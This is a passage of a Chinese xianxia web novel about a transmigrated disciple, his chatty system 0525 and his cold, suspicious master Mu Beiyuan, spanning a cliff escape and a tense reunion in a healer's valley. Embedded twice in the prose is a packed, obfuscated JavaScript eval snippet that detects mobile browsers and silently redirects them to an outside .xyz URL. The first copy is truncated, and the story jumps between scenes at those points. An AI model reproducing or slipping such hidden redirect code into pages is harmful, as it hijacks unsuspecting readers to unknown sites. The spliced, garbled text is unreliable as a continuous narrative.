“啊,痛死老子了,我的腰!”乌歌感觉腰都快断了。 不过现在不是哀声连天的时候,因为乌歌很清楚,雪魔是群居动物,有一只,就会有数十只,上千只,上万只! 雪魔本身不可怕,可怕的是被人封完所有筋脉后只能眼睁睁看着自己遭成千上万只丑陋魔物啃食。 他顾不得早已瘫软的双腿,咬着牙爬起来转身就跑。 而一时失手的雪魔在原地呆愣了一会儿,发出震天动地的怒吼声,嘴里一直嘶吼着从身后追来。 雪魔身后已经跟来了几只同类了。 【宿主,快跑啊,会被吃掉的!】0525见到后面那么多怪物,不断兔子尖叫。 “闭嘴!我知道!”乌歌双手忍不住颤抖,哪怕平时再冷静再无所谓,过够了现实社会的安稳日子,在见到修真界的残酷后心里也有了点惊慌。 他不能死,至少现在不能。 ——可是乌歌觉得自己快完了。 看着面前断壁的悬崖,他明白自己犯了致命的错误。 不带目的性的随意乱跑,丝毫没有准备,这是乌歌唯一一次失了理智。 只因为方才逃跑过程中,脑海里不断涌出熟悉的又陌生的记忆。 在苍茫的冰天雪地,本该洁白无瑕的雪层染上了鲜红鲜血,混着魔物的,混着自己的。 衣衫褴褛的黑衣男子跪在地上,全身都是鲜艳的红,手上没有任何武器,只有右手伸出的尖锐狼爪还滴着血珠,唯一白净的左手紧紧护着一块什么东西。 隐约泛着淡淡紫光。 当他想要去看那是什么时,头突然传来阵阵刺痛,下一秒,记忆中的黑衣人从雪地强撑着爬起来,挥起利爪向前冲去…… 紧接着,是尖锐物穿透肉身发出的撕裂声。 痛,痛到极致,钻心的痛。 乌歌捂住头缓缓蹲坐下来,悬崖后是成群的雪魔白茫茫一片。 【宿主!!!】0525厉声提醒。 ——既如此,先好好睡一觉吧。 红眸微睁,少年露出一个志在必得的微笑,张开双臂利落转身,正对着冲来的魔物,身子往后一仰—— 呼—— 重物坠下高空掀起冰冷的风。 【啊啊啊啊!宿主你在干什么!】系统吓得发出尖锐爆鸣。 单薄身影越坠越快,好似一颗黑色流星,猛地砸入悬崖底部。 “哗啦”水声响起,0525紧张得屏住呼吸,半晌过后,白色浪花中探出一颗脑袋。 “得救了。”乌歌的红眸泛着淡淡笑意。 系统气的牙直痒痒,刚想骂街,对视到人鲜亮红瞳,满是惊悚道。 【鬼啊!快从我可爱宿主身上下来!】 “乌歌”慢慢转过头,直盯着半空中虚拟光团,轻笑一声:“蠢货。” “他不记得倒算了,你也一样蠢。” 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“啧……”慕北源面露不悦,也不知何人大半夜的来通灵,他轻闭上眼,几秒后缓缓睁开,浅褐色的凤眸突变成了金黄圆瞳。 希望来者最好有事。 “何事寻本君?”慕北源语气听着甚冷。 “诶呦小团团,别这么凶嘛,吓死老夫了。” 这一听就贱兮兮的声音…… “都说了多少遍,不许叫这个名字。”慕北源淡淡道。“大半夜的,这是要作甚?” “这不是想你了吗,毕竟老夫以前还抱过你呢,现在啊啧啧啧,翻脸不认人咯……” 手中茶杯差点碎裂,那只是渡劫时变成了小孩子一段时间而已,心智都处于幼儿,却被这老人给戏耍了好几次。 到现在都还在念叨。 “本君没空和你瞎掰扯,有事就说,没事就滚。” 慕北源在知道来者是沈竹青后也不客气,一点没有外面温润尔雅的模样。 “这么凶,还真是不把我当外人。”沈竹青直呼惹不起惹不起,调侃了慕北源大半天直把人说到烦了,眼看冰锥快要凝实进行个远程操控,才赶紧步入正题。 “好了好了,我不闹了,咳咳,说正事说正事。”沈竹青语气略带停顿,神秘兮兮道。 “你家狼崽徒弟,在老夫这儿。” 空气一瞬的寂静。 下一秒,识海连音被猛得掐断。 “把他看好,本君这就来领人。” 11. 坦然对峙 另一边,青龙谷。 刚断了通灵对话的沈竹青翘着二郎腿躺在藤椅上,叼着狗尾草眯眼小憩,好不悠闲。 “诶呀,现在的年轻人哦,啧啧啧。” 他一边感叹着,一边把视线落在不远处床榻上熟睡的少年。 少年安静的睡容显得乖巧恬静,身上大大小小的伤口早已愈合,完全看不出是经历过逃命生死的人。 “老夫的医术还是那么完美。” 这当然都是沈竹青的手笔,在看见原本长相精致的小孩全身跟滚了泥坑一样,向来“欣赏”美人的他心里实在难受,把人偷到青龙谷的第一时间就进行了全套“医疗大礼包”。 作为药宗最随心所欲的宗主,他天天往四象神峰跑,宗门全靠几个长老管理。那不得说,药宗和四象神峰关系好呢,宗主都快成对方专门大夫了。 沈竹青自个还乐意的很。 “小团团怎么还不来?再不来这小孩我可就丢出去咯……” “拿去喂秦兄养的那条灵蛇也行,嘿嘿。” 他故意把话说的很大声,目光有意无意瞟着门外,这时,耳边突然响起熟悉声音。 “你大可以去试试,看看师兄保得住你吗。” 沈竹青“变态”的想法遭到了打断,下一秒,紧闭的木门被那人周身自带的强势灵力震飞。 “我的门!”此刻,一个叫沈竹青的老人轻轻的碎了。 “为什么你们学武的总是要用这样的方式进出,这是你们仙门的统一习俗吗!” 沈竹青看着地上稀碎的门碎片,气的吹胡子瞪眼:“这个月多少次了,为了修门我都花了多少份例的钱!” 慕北源面露不解,在看到眼前老人抓狂的举动,大手一挥,木门恢复原状。 沈竹清:…… “为什么先前走的时候不修好?” 慕北源面色淡定:“你也没像今天一样发疯。” “对啊,为什么我就没想到呢?”沈竹青眼前一亮。 “可能药味入了你的脑子,越发变得蠢了。” “……” 慕北源不再理会对方幽怨的眼神,绕过沈竹青,目光落到依然昏睡着的乌歌身上。 “你救的?”他没在乌歌的皮肉上找到一点受伤的痕迹。 “那是,这不你宝贝徒弟吗?老夫是不是很贴心?”沈竹青满脸骄傲。 “多此一举。” “诶哟你这人,我特么……” “出去。”慕北源淡声打断道。 沈竹青快被气笑了。“老夫好心救你徒弟,你不感恩就罢了,还想着赶我走?怎么有你这样冷酷无情……” 泛着寒光的冰锥四散,生生让这位可怜的老人咽下了剩下的话。 “……老夫突然想到,外面天冷,你家徒弟醒来后可能需要喝点姜汤,我这就去熬。” 沈竹青一脸严肃地说完,一脸严肃地转身,一脸严肃地关门就溜。 风雪声淹没了老人在门外惊天动地的哭喊声:“苍天啊,为老不尊啊——” “……” 等到外面彻底安静,慕北源这才缓缓走近少年,凝视片刻,手下灵力蓝光微闪,他在想,少年是如何出了冰极秘境,他身上是否藏着秘密,想要知道一切,他得查看乌歌识海。 于是微俯下身,伸出了手…… “师尊,您要干嘛?”带着微哑的嗓音在耳边响起,呼吸间还吐出热气,慕北源动作一顿,抬眼间,看见那双墨眸划过一丝笑意,他这是刚醒来就发现自家师尊想对自己图谋不轨吗,乌歌忍俊不禁。 慕北源见少年醒了,此时后者一脸坏笑,语气挑逗的模样让他思及上辈子这人对自己埋藏的心思,眼里瞬时冰冷一片。 他也不打算说话,大手直接一把按住乌歌的脑袋,强势的灵力贯穿少年识海。 “啊……” 乌歌痛的蜷缩了下身子。 好痛,灵力贯穿识海,感觉自己的脑袋就要被撕裂了一般,意识一会儿清醒一会儿迷糊,像是要分裂出两个人…… 奇怪……真是奇怪……慕北源搜寻了片刻后脸色微变。 乌歌的识海内,竟是一片漆黑,没有亮光,没有灵力海,更没有以前发生的所有记忆画面。 很不正常,这跟前世乌歌的识海场景并不一样,那一世的乌歌虽是魔族身,识海却是干净漂亮的水中明月。 象征着少年最后的纯粹。 确定什么都找不到后,他这才停止了识海探查,收回手时,他低眸就看见徒弟被自己灵力强行贯穿的痛苦模样。 痛,才是对的,逆徒并不值得被人疼惜。慕北源面无表情地想。 刚准备起身,顺便再把人绑回去慢慢审问,自己的手腕就被猛地攥住,冷厉凤眸阴沉的可怕,慕北源眸底随着灵力的波动逐渐变成浅金色。 “以下犯上,是嫌自己命长?” 乌歌苍白着脸,还没从刚刚的撕碎感缓过来,闻言也只是轻轻一笑,他用尽剩下的力气坐起身一把扑在男人身前,整个身子贴上去。 距离近的能听到彼此急促的呼吸声。 慕北源瞳孔微微睁圆,像受了惊的猫儿。不过半晌,他便厌恶地很,杀意顿起,手心凝起冰锥就要贯穿眼前冒犯自己的这具身体。 杀了他,一切不可控就都会迎刃而解。 还没下手,就见少年迅速把脑袋凑到他的颈窝,极轻地蹭了一下。 慕北源身形微僵,分不清这人到底清醒与否。 乌歌此刻的举动看起来确实不清醒,就像喝醉了酒,又或是强行探入识海还没让人意识回归,整个人就和软柿子似的挂在他身上,毛茸茸的发顶一个劲蹭,嘴里发出哼哼唧唧的呜咽声,像在和母兽撒娇的幼狼。 “师尊……师尊……弟子知错了。” ——他在撒娇,向自己撒娇。 意识到这一点的慕北源觉得浑身上下都透着不适应,这种感受很遥远了,他已经快记不清上一次小徒弟依赖地抱着自己撒娇是多久了。 那是他们还是真正师徒的时候。 可乌歌接下来说出的话却又清醒的很。 “师尊,你在生气,在恨我,甚至想杀我。” 少年已经把手搭在了男人的肩膀上,把人拉向了自己,雪白发丝与黑发纠缠不止,他微微拉远了点距离,漆黑的墨眸倒映着眼前人的模样。 ——师尊的眼睛是金色的,漂亮极了,就像琥珀。 乌歌心下想着,就和那人一样,美得不可方物。 慕北源眸里仍没有半点情绪,也不再管少年此刻过于“放,荡”的动作。 “你想说什么。”他声音冷冽。 “您不是在怀疑着我了吗?就是您猜的那样不是吗?”说话间,乌歌又蹭了下慕北源的脖颈,让自己沾上那淡雅梅香。 说来奇怪,记忆中学长身上也总带着若有若无的淡淡梅香,让人忍不住沉溺。 乌歌对自己小狗一样的行为有点唾弃,男主是有女主的,自己只是个外来者,最大的价值就是在修补好剧情后在男女主大婚时占个主席位,虽然最后很可能连大婚都看不到。 不过乌歌向来主张一个随心所欲,今日不行乐还要等明日吗?谁知道下一秒会发生点什么,只需要自己爽不就好了。反正都是一样的,都是慕北源,毕竟此刻的他是小说里的乌歌,都注定是得喜欢慕北源的。 犹如那颗肮脏的心。 “是吗,那你这是在变相承认自己的叛徒身份,圣子大人。” “一边勾结魔族,一边防着同门师弟,还真是辛苦你了。” 这玩笑一点也不好笑。 “师尊,你果然在怀疑我。”乌歌语气略带委屈。“你当年收我为徒的时候就明知我是魔族中人,修仙在外,说好身份不重要的,如今还要为这点事情生弟子的气,怀疑弟子的一片赤诚之心……” “师尊未免也太小心眼了。”说完,手下还偷偷掐了把大腿,顿时红了眼眶,眼泪汪汪得瞧着甚是可怜。 空气寂静几瞬,半晌都未能得到回应。 乌歌心里有些忐忑,他不知道如今慕北源对自己的态度,他只是相信慕北源应当还是书中那个对徒弟百般信赖的温柔师尊,所以撒撒娇应该能过吧? 犹豫片刻,乌歌还是小心翼翼伸出了手想要拉住师尊的雪白衣角,指尖刚触碰到柔软面料,刹那间眼前白光一闪,他只觉得一阵天旋地转,自己被扼住脖颈摔在墙上,散发着寒气的长剑被人握在手里挡住想要下意识挣扎的双手,剑锋凌厉,白皙脖颈上隐有一片血红。 他艰难抬眼,与其对视的是一双冷冽的黄金竖瞳,打量他的目光像是在看一件死物。 “我不会再相信魔物的任何一句话。”语闭,慕北源手上发力,略显苍白的手腕上青筋凸起,护苍剑毫不犹豫向下刺去。 完了。出剑速度快到肉眼几乎看不见,乌歌在心里悲凉想到,等0525回来后,恐怕就只能见到一副冰凉的尸体了。他缓缓闭上眼睛。 怎么一点也不疼。 乌歌尝试动了动鼻子。 咦,还能呼吸。他猛的睁开双眼。 只见剑尖在离命脉几毫米的位置停下,而慕北源一脸阴沉地盯着自己,又似乎是在和别的什么东西说话。 “把剑停下。”又是那个声音,与前两日若有若无的气音相比,这次的声音沙哑,竟有了实体。 他保持着举剑的动作不变,按住手下试图偷偷逃离的少年,直接在脑海质问“你又是谁,又凭什么插足本君的事。”遂又将剑往里怼了几分,血流的更深了,吓得乌歌哇哇求饶。 识海里的声音沉默了几分,缓缓道:“就凭本尊是神域唯一真神……的灵魂碎片。” “但你需要我,为前世发生的所有。” 他知道自己的遭遇。此话一出,慕北源便停下了动作。“你都知道些什么?” “叫前辈,另外,放开他。” 慕北源微蹙眉头“我为何要……” 下一秒,他的身体竟不受控制地丢了剑,空下来的手还轻柔地为被吓坏了的少年拂去滴落血珠,神色却冷的吓人。 乌歌一脸惊恐,这人怎么和精神分裂似的。 慕北源此时有种想杀了他,再杀了自己和那个自称真神的东西的冲动。 乌歌眼珠流转,垂眸看了看那只替自己揉脖子的手,歪头思考了会儿,像是下定了什么决心,偏过头便在人手心里蹭来蹭去。 “我就知道师尊是最疼弟子的了,爱你。” “……” 慕北源无法再忍受乌歌轻佻又无所谓的举动,每一次看见他这样,就会想到逆徒上辈子干的混蛋事,如今还是想杀都杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883370|176398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了,越想越气,于是他一手拎起人的后领,把人从床上甩了下去。 后者重重跌下床榻发出闷响。 “还真是心狠啊。”乌歌终于重获自由,一边揉着脖子,顺带轻叹口气,也不打算起身,就地跪坐下来,昂着头看向居于高位的人。 他突然有点理解原身爱而不得的感觉了,因为慕北源真的和冷漠,即便后来遇到了女主,那唯一的温柔也显得莫名其妙起来。 这也是读者们常常在书下吐槽的“糟点”。 但现在不是感叹这些的时候,为了活命,他得铤而走险,与慕北源僵持下去,虽然搞不懂方才这人的举动,但至少说明,撒娇似乎是有用的。 那……浅浅勾引一下? 慕北源本不想再看到地上人直勾勾的眼神,他闭上眼调节心神,想要平复一下内心波动的情绪。 他感觉到熟悉的气息陡然逼近,掀起微弱的风。 “师尊,低头。”少年清脆的声音似出现在耳边。 慕北源猛然睁开眼睛,看见小登徒子仍然乖巧的跪着,只是把身子都挪到了床边,双臂撑在他大腿间,脑袋乖顺地靠在他膝盖上,一眼望去,就感觉是少年把头埋在那雪白衣袍里……乌歌笑意盈盈地昂头看着他。 这姿势……不知道的还以为在干什么见不得人的事。 看着近在咫尺的俊脸,那刚起的一点不正经苗头在乌歌脑海里一飘而过,他觉得有点脸热了。 但这个时候想入非非似乎不太合适,因为慕北源的眼神恨不得立马杀了他。 “找死吗?”冰冷眼神下,男人手心隐隐出现蓝光。 “师尊……你真的好凶啊,一点也不温柔。”乌歌暗叹口气,幽幽道。“就这么想要我的命吗?” “就算我是魔族,也没做什么伤天害理之事吧。” 仗着自己暂时杀不了他开始为虎作伥? 慕北源冷笑一声:“可当初那下了药的膳食,本就是你所为,不是吗?” “噗。”乌歌笑着露出两颗尖牙。“都说过了,那是因为我喜欢师尊呀!” “喜欢到脑子发了热,罚一顿就好了,那也不至于要我命啊。” 乌歌直白的发言把慕北源说的一愣,沉默了几秒后,他阴沉开口:“别以为我不知道你打的算盘,那天晚上你想干什么,本君一清二楚。” “若我想,你将死无葬身之地。” “是吗……那确实很不妙啊……” 纤长手指撩起人腰间雪白衣带露出里面紫色玉佩,轻轻打着旋。 “都说师尊的喜月玉吸收月光精华最是喜阴,百魔不得近身,偏偏……对我不管用呢。” 随着乌歌的话音刚落,慕北源面色阴沉了不少。 他感受到乌歌的语气带着轻佻和一丝挑衅:“师尊——您倒是凑近些,再看看弟子,弟子眼里可都是对你的钦慕。” 少年的眼眸光亮,却带着不属于这个年纪的游刃有余。 “师尊,您当真想要杀掉生儿吗……我向师尊保证,从今以后再也不做伤害宗门和师尊的事,哪怕是魔族亲戚来找我认亲也不行。” “师尊……好不好嘛……” 金眸与黑眸久久对视,似僵持不下,最终,慕北源垂下眼皮。 “我只是暂时不动你。” 哦耶!乌歌心下长舒一口气,果然美人计有用。刚想站起来,这才发觉自己早已跪麻了腿,腿一软又栽倒在慕北源膝上。 “嘶,师尊……我缓缓。”乌歌无辜地眨眨眼睛道。 慕北源下意识皱皱眉,刚刚气氛过于紧张没注意到,现下他只觉得洁癖又犯了,感觉到人温热的体温,他想把人掀飞出去的心蠢蠢欲动。 “马上……给我起来。”慕北源竭力控制杀气。 “我……” “小团团!老夫回来啦,你们……我操!”沈竹青推门而入的一瞬间,看到房内俩人的姿势顿时瞪大双眼。 一秒,两秒…… “啊!老夫眼瞎了,老夫什么也没看见!” 沈竹青土拨鼠尖叫着,直震得俩人快要耳聋,嘴上说着眼瞎了,其实眼睛亮的快要闪瞎乌歌的双眼。 与此同时。 【啊哈哈哈哈!宿主,我从小黑屋里出来啦!我现在有了一百种方法对付孤魂野鬼,让我来超度……】 【我靠,啊啊啊啊啊!】0525在乌歌脑海发出尖锐爆鸣。 【宿主你和男主搞上了,怎么对得起女主啊啊啊啊!】 乌歌被吼的面目狰狞。 不过好在统子自有人收。 【青少年系统模式察觉到眼前场景不适合纯情系统观看,现邀请0525来到豪华小黑屋里观看小猪佩奇】 【不是,不对,我要看我要看……】 【滴,系统已回收】 【啊!我恨你!小黑屋!】 耳边终于宁静,因为猥琐笑着的沈竹青,也被下了静音咒。 沈竹青满脸愤怒。 慕北源淡淡勾手,“彭”一道绿色人影就这样轻盈地飞出门外。 乌歌马上回头看着慕北源,下意识脱口而出道:“我们这样就像在偷情的两个小情人。” 慕北源差点没控制住冰锥从手心飞出,他笑的危险:“生儿,我看你是还没被罚够。” 乌歌:完啦。